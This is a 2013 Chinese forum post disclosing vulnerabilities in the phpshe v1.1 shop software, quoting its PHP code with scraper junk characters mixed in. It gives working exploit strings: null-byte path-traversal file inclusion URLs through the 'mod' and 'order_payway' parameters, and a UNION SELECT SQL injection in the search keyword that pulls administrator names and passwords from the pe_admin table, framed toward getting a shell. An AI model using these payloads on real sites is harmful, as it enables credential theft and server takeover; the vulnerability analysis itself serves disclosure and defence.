找回密码
 立即注册
查看: 2943|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/; ^( u+ D3 C  |5 O
/* Phpshe v1.1 Vulnerability% h8 H4 I+ j. k
/* ========================5 j9 B! D5 R: p/ T
/* By: : Kn1f3
4 q: s) ^9 G$ b* ~# M& U5 Z% j/* E-Mail : 681796@qq.com
2 ]5 Q9 a, e: l4 F/*******************************************************/
4 o3 c2 J3 a6 A1 Q0×00 整体大概参数传输3 d7 j7 T- @! m( d( h" d  H+ @% P

' P. K* S+ B8 Y1 x
7 [5 D5 e7 K+ [. H2 Y. C1 x0 _

3 U. Z8 {4 O' i7 x7 W//common.php
4 J/ `. e/ }& C0 R) g- a. U2 N/ Kif (get_magic_quotes_gpc()) {
% Q2 a2 k& a" K!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');. {' h0 c- o9 m: p0 N
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');5 K$ E. q. `) g* o; `
}* T0 x/ g8 y; _
else {
" I8 u) y6 k! \* T  H& c!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');( G1 z# V) k0 V* v0 U4 @
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');6 o* p. X* h( s3 k
}" m- A' {. ]: Q! \& o" Q  q2 A8 m8 Q) U
session_start();4 m  ^9 q! O3 E) S* `
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 _- `2 [7 w3 O# s( j2 }" ^& h!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');9 B+ N9 H/ m4 c0 v1 T
: x6 Z. M- A% j1 [6 p9 |7 q
0×01 包含漏洞
+ T0 p/ P6 [  d! U1 T, D ) ?7 N" P8 D. ~
9 N& l3 [) O+ t+ y  c$ W/ |1 [
//首页文件
) X- m' C' r; {$ q* d, H* ]<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
* Z; e/ p$ e" F* G3 l/ s' oinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞8 N9 @" G. ^! c
pe_result();9 {* C3 o1 g% K' B" t" J
?>
# Z2 F: s* F( k& a3 j% ~  e//common 文件 第15行开始
# }$ d! I. s# {url路由配置. _9 p2 o! h% t: Q# a+ o5 N' x
$module = $mod = $act = 'index';
2 k  C9 F- V2 }8 [* U$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
. r" _6 y0 I! J  p7 Z" z$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);; B6 T6 Q& F+ b. E, O2 y
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);* W9 K2 v1 }& w- }( B
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
( W2 p7 \; y6 K4 T/ G( }+ i

! y& ^) O; s, G6 C& t
  s3 Y# k& v. V% t
0×02 搜索注入
( q  c0 |" W: A0 d
: G, @- o3 ^, q1 w% u<code id="code2">

//product.php文件
' ^+ t" g. V/ k5 Z! Q! H: fcase 'list':
9 H5 q1 |- o9 k3 H# q, G3 \$category_id = intval($id);+ v, F1 z+ g' V0 G: K
$info = $db->pe_select('category', array('category_id'=>$category_id));
" v: Y$ s1 D, J2 H2 ]1 P//搜索
6 n# ]' g* u4 q: h0 C$sqlwhere = " and `product_state` = 1";
( U! m; n2 M7 p+ t  Gpe_lead('hook/category.hook.php');
- o1 u: }* g# R5 @7 K! eif ($category_id) {4 w0 C& L% c) h( U: X" }5 |+ ~3 w! ?
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";1 C( ?! V' T+ e8 x: r1 k
}5 U) b8 n$ ^+ m6 Q2 C4 c
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤3 v& E% J3 B/ H6 Y1 n3 _3 |
if ($_g_orderby) {# V4 X' \9 j: H) S
$orderby = explode('_', $_g_orderby);
6 F) r  E' x4 N1 m: S: o$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
% e% w# q, ]5 ^" V' X' o! e8 L}+ x' \2 h4 c( M! K5 S2 w
else {" V# r9 o" f; k/ W2 W0 I. F' l- i! E: d
$sqlwhere .= " order by `product_id` desc";
. j# ]6 |  v, E4 h( d4 o" A# _}
2 H+ ]  _) S7 I  W- v$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));0 r( M3 @6 h# z7 }
//热卖排行0 j: C& N1 G0 ]; D- A+ l% g
$product_hotlist = product_hotlist();: U5 z! f: A) e% h8 G! Y
//当前路径% U9 m$ r; G) [$ Z: Y. n
$nowpath = category_path($category_id);
( v% A+ W- e" a) Q$seo = pe_seo($info['category_name']);
# t2 _# p1 ~3 r: Q3 S# A2 Iinclude(pe_tpl('product_list.html'));
# i+ i6 ?$ F: I# E6 g& ^//跟进selectall函数库
' N. f5 ]* e0 O6 I9 Y( ^/ Gpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
% d5 D, K6 E2 T; K; V1 `" H{
! X! P% u, a9 e  q* F* n" p, C//处理条件语句; n3 o, ]7 i9 e8 h1 [" M
$sqlwhere = $this->_dowhere($where);+ o0 Y6 T6 W7 E& n2 D$ W& F8 v
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
$ f, ]! c/ e) u( W5 o- l2 ~}2 ]! W$ f8 a" x4 g/ d
//exp. O5 g" B0 `1 L/ L! f7 ~0 ~! S
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
9 f5 }. e: P6 z2 A/ q! H- X( f

</code>- @3 {# ]7 l" @3 M4 s

; q* ]' ^7 E- S; F, d/ u) u8 S0×03 包含漏洞2
& ^' W7 _, g6 F9 d& K
+ [* \% J- \, M6 u4 O& Y<code id="code3">

//order.php

case 'pay':

, t# R! {3 j7 ]5 L, c
$order_id = pe_dbhold($_g_id);

$ s+ O' F2 F, v& m0 |- z
$cache_payway = cache::get('payway');

4 m/ ^4 O9 r6 h' L" {  {" |- |" W1 H
foreach($cache_payway as $k => $v) {


8 x! l% Y0 c; {3 N; G7 s$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


- ^+ F: v7 A$ C+ k! hif ($k == 'bank') {

, H! n( c" C, W8 z: [! \- F
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


; `0 p3 s9 ]4 y. [/ t}


( t8 v( g9 v! |" c}

) E( y* C2 s, c) s9 W& @: Y
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


% l+ ^, D5 c" g: r+ R!$order['order_id'] && pe_error('订单号错误...');


/ ^! m! @) f# {* M0 N$ D1 Rif (isset($_p_pesubmit)) {


) D, z5 g! U2 X# E  _* ^if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

( D* h; q6 Y' ?
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

, D5 ?2 e/ E8 V, N$ ~
foreach ($info_list as $v) {

$ a6 t* `' ?, B
$order['order_name'] .= "{$v['product_name']};";
1 |- G7 y! v, Q2 b8 i8 b


  j/ O" j1 g1 B6 N0 R" _: n}

& G1 H  `7 l" _5 O
echo '正在为您连接支付网站,请稍后...';

* i& d) D* M' X+ E. M: A- e
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

* @  p) K9 |  F8 U
}//当一切准备好的时候就可以进行"鸡肋包含了"

4 Q8 d) ~. A6 l* R/ E
else {


$ M" K. L3 Q8 Z$ l3 ?pe_error('支付错误...');

# N7 f4 J* O9 y
}

; C% @, X5 T- a: v* E2 E# t0 c. Z
}


- S+ `7 H" E, T4 S' g$seo = pe_seo('选择支付方式');


7 s& l! w! D4 D. N; @3 y  b& |: Hinclude(pe_tpl('order_pay.html'));


+ C! _* ^, m" X) _9 s  k0 u: ibreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- C! J4 C, D3 q1 \" C. Dhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表